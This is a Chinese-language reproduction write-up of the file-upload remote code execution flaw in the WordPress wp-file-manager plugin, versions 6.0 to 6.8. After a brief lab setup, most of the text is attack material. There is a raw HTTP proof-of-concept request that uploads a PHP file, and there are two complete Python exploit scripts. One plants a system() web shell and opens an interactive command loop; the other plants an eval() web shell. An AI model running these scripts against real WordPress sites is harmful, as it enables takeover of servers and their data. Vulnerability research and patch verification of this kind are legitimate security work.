声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、简介
WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。
文件管理器允许您直接从WordPress后端编辑、删除、上传、下载、压缩、复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大、最灵活、最简单的WordPress文件管理解决方案。
二、插件介绍
WP-file-manager是一个旨在帮助WordPress管理员管理其站点上的文件的插件。
该插件包含一个附加库elFinder,它是一个开放源代码文件管理器,旨在创建简单的文件管理界面,并提供文件管理器背后的核心功能。
WP-file-Manager插件以引入漏洞的方式使用了该库。
三、漏洞概述
WordPress6.9之前的文件管理器wp-file-manager
插件存在一个严重的安全漏洞,允许远程攻击者上传和执行任意PHP代码,因为它将不安全的示例elFinder连接器文件重命名为具有.php扩展名。
四、影响范围
- 插件:
wp-file-manager
- 受影响版本:
6.0-6.8
五、漏洞分析
参考以下链接:
https://www.anquanke.com/post/id/216990
https://mp.weixin.qq.com/s/NJ-pnecyq7WK6G9KZxMe6A
六、环境搭建
phpStudy+WordPress5.4.1+FileManager6.0
WordPress5.4.1下载地址:https://cn.wordpress.org/wordpress-5.4.1-zh_CN.zip
FileManager插件下载地址: http://plugins.svn.wordpress.org/wp-file-manager/tags/6.0/
安装WordPress,按照配置填写,下一步即可。
安装完成,登录到WordPress后台
安装插件
至此环境搭建完成!!!
七、漏洞复现
在URL访问以下链接
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
页面出现如上错误信息,就说明存在漏洞!
手工验证
POC:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: XX.XX.XX.XX
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: wordpress_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7Cfbb6d7454936a3506bc8415db7393eb8b1166e04f2cc19fd262e8565c223a456; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7C965f0f042ab63785c800584a93cd3a19288cb149d73f0f25c84ddfa0d3d2b95b; wp-settings-time-1=1694673832; PHPSESSID=qcvboapberh10d2839nt7r5opn
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707
Content-Length: 474
-----------------------------402078532114344024151352374707
Content-Disposition: form-data; name="upload[0]"; filename="xxx.php"
Content-Type: image/jpeg
<?php phpinfo();?>
-----------------------------402078532114344024151352374707
Content-Disposition: form-data; name="cmd"
upload
-----------------------------402078532114344024151352374707
Content-Disposition: form-data; name="target"
l1_Lw==
-----------------------------402078532114344024151352374707--
Burp抓包将Request数据包进行替换
在返回包中发现已成功上传文件,访问URL
/wordpress/wp-content/plugins/wp-file-manager/lib/files/xxx.php
file_Manager_Rce.py
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@Author : xDroid
@File : file_manager_Rce.py
@Time : 2020/9/21
"""
import requests
requests.packages.urllib3.disable_warnings()
from hashlib import md5
import random
import json
import optparse
import sys
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }
def randmd5():
new_md5 = md5()
new_md5.update(str(random.randint(1, 1000)).encode())
return new_md5.hexdigest()[:6]+'.php'
def file_manager(url):
if not url:
print('#Usage : python3 file_manager_upload.py -u
http://127.0.0.1')
sys.exit()
vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
filename=randmd5()
headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',
'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'
}
data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php system($_GET['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename
try:
resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=5, verify=False)
result = json.loads(resp.text)
if filename == result['added'][0]['url'].split('/')[-1]:
print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)
while(True):
command = input("请输入执行的命令:")
if "q" == command:
sys.exit()
exec_url = url+'/wp-content/plugins/wp-file-manager/lib/files/'+filename+'?cmd='+command.strip()
exec_resp = requests.get(url=exec_url)
exec_resp.encoding='gb2312'
print(exec_resp.text)
else:
print(RED+'[-]\t\tUploaded failed\t\t'+ENDC)
except Exception as e:
print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)
if __name__ == '__main__':
banner = GREEN+'''
__ _ _
/ _(_) | ___ _ __ ___ __ _ _ __ __ _ __ _ ___ _ __
| |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|
| _| | | __/ | | | | | | (_| | | | | (_| | (_| | __/ |
|_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|
|___/
by: Timeline Sec
file manager 6.0-6.8 file upload
'''+ENDC
print(banner)
parser = optparse.OptionParser('python3 %prog' + '-h')
parser.add_option('-u', dest='url', type='str', help='wordpress url')
(options, args) = parser.parse_args()
file_manager(options.url)
file_manager_upload.py
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@Author : xDroid
@File : file_manager.py
@Time : 2020/9/21
"""
import requests
requests.packages.urllib3.disable_warnings()
from hashlib import md5
import random
import json
import optparse
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }
def randmd5():
new_md5 = md5()
new_md5.update(str(random.randint(1, 1000)).encode())
return new_md5.hexdigest()[:6]+'.php'
def file_manager(url):
vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
filename=randmd5()
headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',
'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'
}
data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php @eval($_POST['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename
try:
resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=10, verify=False)
result = json.loads(resp.text)
if filename == result['added'][0]['url'].split('/')[-1]:
print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)
print(url+"/wp-content/plugins/wp-file-manager/lib/files/"+filename)
else:
print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)
except Exception as e:
print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)
if __name__ == '__main__':
banner = GREEN+'''
__ _ _
/ _(_) | ___ _ __ ___ __ _ _ __ __ _ __ _ ___ _ __
| |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|
| _| | | __/ | | | | | | (_| | | | | (_| | (_| | __/ |
|_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|
|___/
by: Timeline Sec
file manager 6.0-6.8 file upload
'''+ENDC
print(banner)
parser = optparse.OptionParser('python3 %prog' + '-h')
parser.add_option('-u', dest='url', type='str', help='wordpress url')
(options, args) = parser.parse_args()
file_manager(options.url)
除了以上两个py脚本外,还可使用wp-file-manager-exploit.sh脚本验证
八、修复建议
将File Manager插件升级到6.9
版本